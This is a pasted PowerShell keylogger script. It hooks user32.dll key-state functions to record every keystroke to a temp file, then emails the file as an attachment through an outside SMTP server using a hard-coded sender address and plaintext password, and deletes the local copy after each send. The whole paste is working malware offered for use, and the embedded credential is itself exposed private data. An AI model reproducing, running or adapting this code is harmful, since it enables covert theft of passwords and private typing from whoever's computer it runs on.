· 4 years ago · Aug 28, 2021, 04:04 AM
1# Edit only this section!
2$TimesToRun = 2
3$RunTimeP = 1
4$From = "deadlypenguin95@mail.com"
5$Pass = "C81185t!"
6$To = "deadlypenguin95@gmail.com@mail.com"
7$Subject = "Keylogger Results"
8$body = "Keylogger Results"
9$SMTPServer = "smtp.mail.com"
10$SMTPPort = "587"
11$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
12############################
13
14
15
16
17#requires -Version 2
18function Start-KeyLogger($Path="$env:temp\keylogger.txt")
19{
20 # Signatures for API Calls
21 $signatures = @'
22[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
23public static extern short GetAsyncKeyState(int virtualKeyCode);
24[DllImport("user32.dll", CharSet=CharSet.Auto)]
25public static extern int GetKeyboardState(byte[] keystate);
26[DllImport("user32.dll", CharSet=CharSet.Auto)]
27public static extern int MapVirtualKey(uint uCode, int uMapType);
28[DllImport("user32.dll", CharSet=CharSet.Auto)]
29public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
30'@
31
32 # load signatures and make members available
33 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
34
35 # create output file
36 $null = New-Item -Path $Path -ItemType File -Force
37
38 try
39 {
40
41 # create endless loop. When user presses CTRL+C, finally-block
42 # executes and shows the collected key presses
43 $Runner = 0
44 while ($TimesToRun -gt $Runner) {
45 $TimeStart = Get-Date
46 $TimeEnd = $timeStart.addminutes($RunTimeP)
47 while ($TimeEnd -gt $TimeNow) {
48 Start-Sleep -Milliseconds 40
49
50 # scan all ASCII codes above 8
51 for ($ascii = 9; $ascii -le 254; $ascii++) {
52 # get current key state
53 $state = $API::GetAsyncKeyState($ascii)
54
55 # is key pressed?
56 if ($state -eq -32767) {
57 $null = [console]::CapsLock
58
59 # translate scan code to real code
60 $virtualKey = $API::MapVirtualKey($ascii, 3)
61
62 # get keyboard state for virtual keys
63 $kbstate = New-Object Byte[] 256
64 $checkkbstate = $API::GetKeyboardState($kbstate)
65
66 # prepare a StringBuilder to receive input key
67 $mychar = New-Object -TypeName System.Text.StringBuilder
68
69 # translate virtual key
70 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
71
72 if ($success)
73 {
74 # add key to logger file
75 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
76 }
77 }
78 }
79 $TimeNow = Get-Date
80 }
81 $Runner++
82 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
83 Remove-Item -Path $Path -force
84 }
85 }
86 finally
87 {
88 # open logger file in Notepad
89 exit 1
90 }
91}
92
93# records all key presses until script is aborted by pressing CTRL+C
94# will then open the file with collected key codes
95Start-KeyLogger